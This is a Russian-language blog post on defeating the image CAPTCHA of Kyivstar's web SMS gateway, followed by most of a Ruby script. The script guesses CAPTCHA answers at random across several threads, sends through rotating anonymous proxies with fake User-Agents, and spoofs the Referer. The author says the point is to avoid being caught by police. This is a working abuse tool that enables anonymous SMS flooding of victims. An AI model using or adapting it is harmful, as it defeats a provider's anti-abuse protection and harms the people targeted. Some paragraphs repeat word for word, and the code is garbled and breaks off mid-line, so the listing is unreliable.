Отправляем смс без выбора картинок капчи
Как-то давненько, отправляя смс со странички Киевстара, не загрузились картинки капчи (видел 9 вращающихся спинеров, думаю я не один, у кого такое наблюдалось). И я наугад выбрал нужное количество изображений живой природы и на на удивление сообщение было принято. Сразу же родилась идея написать скрипт/программку/робота для избавления пользователя от «рутинного» способа отправки смс.
Воплотить это в жизнь тогда не хватило умений/времени. Немного позже на одной из местных конференций докладчик (Дмитрий Р.) рассказывал про такой же способ и более того сразу продемонстрировал работу — одному добровольцу начали сыпаться смс от Киевстара. Меня передёрнуло. И я начал вынашивать «коварный» план.
Форма содержит до десятка инпутов(скрытых и доступных пользователю), но самые важные — это:
1. `mobcode` — код номера (3-х значный)
2. `number` — собственно номер (7-ми значный)
3. `message` — сообщение
4. `live_images` — выбранные картинки
5. `images_sid` — ключ вашей формы или id вашего сообщения
С кодом, номером и сообщением — всё понятно, а вот с остальными немного нужно прояснить.
4) В `live_images` картинки попадают в цифровой форме, то есть номера. Например если нужно выбрать 3 картинки, то получим строку «020509» (2-ю, 5-ю и 9-ю картинки).
5) При каждом запросе формы, ей присваивается ключ, который ложится в `images_sid`. И при каждом неудачном отправлении формы — присваивается новый ключ. Этот ключ также дублируется в куке (или не дублируется, а основной; нас это не должно беспокоить, если правильно всё отправлять). Он используется Киевстаром для получения набора картинок для конкретной формы, а так же получать статусы сообщения (постановка в очередь, доставка, не доставка)
службы работы я пишу на языке ruby, поэтому скрипт/программу написал именно на нём.
Для красивости: при успешной отправке смс проигрываем симатишную мелодию и выводим нотифай(ubuntu).
приятная мелодия тыц
Воплотить это в жизнь тогда не хватило умений/времени. Немного позже на одной из местных конференций докладчик (Дмитрий Р.) рассказывал про такой же способ и более того сразу продемонстрировал работу — одному добровольцу начали сыпаться смс от Киевстара. Меня передёрнуло. И я начал вынашивать «коварный» план.
Как всё устроено
HTML форма лежит во фрейме по пути smsgate.kyivstar.ua/sms/ Но форму можно получить только отправив POST запрос.Форма содержит до десятка инпутов(скрытых и доступных пользователю), но самые важные — это:
1. `mobcode` — код номера (3-х значный)
2. `number` — собственно номер (7-ми значный)
3. `message` — сообщение
4. `live_images` — выбранные картинки
5. `images_sid` — ключ вашей формы или id вашего сообщения
С кодом, номером и сообщением — всё понятно, а вот с остальными немного нужно прояснить.
4) В `live_images` картинки попадают в цифровой форме, то есть номера. Например если нужно выбрать 3 картинки, то получим строку «020509» (2-ю, 5-ю и 9-ю картинки).
5) При каждом запросе формы, ей присваивается ключ, который ложится в `images_sid`. И при каждом неудачном отправлении формы — присваивается новый ключ. Этот ключ также дублируется в куке (или не дублируется, а основной; нас это не должно беспокоить, если правильно всё отправлять). Он используется Киевстаром для получения набора картинок для конкретной формы, а так же получать статусы сообщения (постановка в очередь, доставка, не доставка)
Итак приступим
По долгу- Для работы скрипта обязательны подключения следующих либ/гем:
net/http, uri, active_support - При получении и отправке формы скорее всего наш IP записывается, поэтому дабы не быть пойманным отделом К (ну или хотя бы затруднить отлов, а может мы им вообще не нужны ибо нет состава преступления), ходим через анонимный прокси.
- Для существенного ускорения отправки смс, картинки перебираем в несколько потоков (больше 3-х дает вероятность отправки 1-й смс в течении до полторы минуты, чаще всего получал десятки секунд), один поток ходит только через одну проксю.
- Внутри потока используем бесконечный цикл с условием остановки отправки сообщения хотя бы одним потоком. Ошибки возникающие при доставке/отправке формы, подавляем.
- Для удобства список прокси серверов вынес в отдельный файл с простым синтаксисом
<proxy_ip>:<proxy_port>\n - Дабы ещё больше увести от себя взгляд, в каждом потоке рандомно отправляем левый User-Agent.
- Очень важный нюанс: при отправке формы обязательно нужно указывать «Referer», иначе сервер будет видеть подмену
- Отправку формы делаем когда требуется указать 2 картинки (так как по комбинаторике это дает меньше всего вариантов, а следовательно большая вероятность попадания), остальные случаи просто пропускаем
Для красивости: при успешной отправке смс проигрываем симатишную мелодию и выводим нотифай(ubuntu).
приятная мелодия тыц
notify-send -i ~/scripts/sms.png 'SMS' 'Поставлено в очередь.'
mpg123 ~/scripts/sms_baraban.mp3 -q
Ну и сам листинг
#!/usr/bin/env ruby
require "rubygems"
require 'net/http'
require 'uri'
require 'active_support'
class Sms
CODES = ['067', '098', '097', '096', '039', '068']
HELLO = ['hello my friend', 'send me money a little', 'how r u', 'hey, watsup',
'can you call me', 'thanks', 'Im fine, thanks', 'lets go to mountain']
UA = ["Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12", "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3", "Opera/5.11 (Windows 98; U) [en]", "Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00"]
def initialize proxy
@ua = UA.rand
proxies = proxy.split(":")
@proxy_ip = proxies[0]
@proxy_port = proxies[1]
end
def send_data(num, msg, uid, imgs)
proxy_addr = @proxy_ip
proxy_port = @proxy_port
url = "http://smsgate.kyivstar.ua/sms/?lang=en"
url = URI.parse(url)
request = Net::HTTP::Post.new(url.path+"?lang=en")
params = {
:sms_adv => '0',
:submitted => 'true',
:mobcode => "#{num[0..2]}",
:number => "#{num[3..-1]}",
:lat => '0',
:message => "#{msg}",
:live_images => "#{imgs}",
:images_sid => "#{uid.to_s}"
}
request.set_form_data(params)
request['cookie'] = "images_sid=#{uid}"
request['User-Agent'] = @ua
request['Referer'] = "http://smsgate.kyivstar.ua/sms/?lang=en"
html = Net::HTTP::Proxy(proxy_addr, proxy_port).start("smsgate.kyivstar.ua") { |http| http.request(request) }
return html.body
end
def get_first_html
url = URI.parse("http://smsgate.kyivstar.ua/sms/")
proxy_addr = @proxy_ip
proxy_port = @proxy_port
request = Net::HTTP::Post.new(url.path)
request.set_form_data({'lang' => "en"})
request['User-Agent'] = @ua
html = Net::HTTP::Proxy(proxy_addr, proxy_port).start("smsgate.kyivstar.ua") { |http| http.request(request) }
return html.body
end
def get_uid_and_count(html)
sid = html.match(/"hidden" name="images_sid" value="(\d+)"/)
raise "failed to get images_sid" if sid.nil? || sid[1] == 'nonenone'
count = html.match(/To send SMS please show (\d) images with nature/)
raise "failed to get image count" if count.nil? || count[1] == 'nonenone'
return [sid[1], count[1]]
end
def save_images(uid)
retries = 4
begin
img = open("http://smsgate.kyivstar.ua/sms/images.jpg?id=#{uid}", "Cookie" => "images_sid=#{uid}").read.to_s
File.open('form.jpg', 'w'){ |f| f.puts img }
retries -= 1
rescue
retry if retries > 0
end
end
def random_images(count)
ok = []
count.to_i.times do |i|
notadded = true
while notadded do
r = rand(9)+1
unless ok.include?®
ok << r
notadded = false
end
end
end
ok.sort
end
def get_result_of_sent(html)
result = html.match(/<p class="comment">([\w .]+)<\/p>/)
raise "wrong status of delivering :(" if result.nil? || result[1] == 'nonenone'
return result[1]
end
def prepare_img(img_string)
result = img_string.strip.split(//)
result = result.join("0")
result = "0" + result
result
end
def ip(html)
ip = html.match(/\W
0 комментариев